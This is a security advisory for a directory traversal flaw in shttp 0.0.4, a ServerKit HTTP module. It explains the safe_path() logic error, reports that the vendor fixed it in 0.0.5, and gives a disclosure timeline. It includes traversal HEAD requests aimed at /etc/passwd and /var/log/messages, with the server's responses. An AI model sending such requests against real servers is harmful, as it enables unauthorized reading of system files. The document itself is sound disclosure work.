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Directory traversal flaw in shttp

The most recent version of this advisory (including any updates) is
available at:

Directory Traversal Flaw in shttp
Affected product: shttp
Product vendor: Vito Caputo - (http://serverkit.org/modules/contrib/shttp/)
Affected version: 0.0.4

Product description
Shttp is a partial implementation of HTTP/1.1. It does not strictly follow
the RFC but works well enough to serve static content for
personal/experimental/educational use. The module consists of just over 1000
LoC making it an excellent example of what can be done with ServerKit with
little effort and a great learning tool for those getting started with
ServerKit programming.

Problem analysis
While examining the source code of shttp.c, it was noted that the
safe_path(char *path) function does not entirely prevent directory traversal
attacks. The affected function analyses the supplied URI and returns a value
indicating the folder distance from the document root. Positive return
values indicate child folders, negative values indicate parent folders and
hence directory traversal attempts. However, the function does not trap
directory traversal attacks where the target file is deeper within the
folder hierarchy than the web document root.

Problem example
Assuming that the product has been installed with the default document root
(/var/www), the following demonstrates the problem:

HEAD /../../etc/passwd HTTP/1.0

HTTP/1.1 400 Bad Request
Content-Type: text/html
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:31:30 GMT
Connection: close

HEAD /../../var/log/messages HTTP/1.0

HTTP/1.1 200 OK
Content-Length: 178455
Content-Type: text/plain
Last-Modified: Thu, 25 Oct 2007 16:36:39 GMT
Server: Shttp/ServerKit
Date: Thu, 25 Oct 2007 16:42:32 GMT
Connection: close

This issue has been addressed and rectified in version 0.0.5 of shttp,
available from http://serverkit.org/modules/contrib/shttp/.
digineo thanks Vito Caputo for his assistance and rapid response with
regards to this issue.

Discovery timeline
20071024 - Issue discovered
20071025 - Vendor notified
20071025 - Vendor response
20071025 - Update released
20071026 - Advisory published

Pete Foster
digineo Limited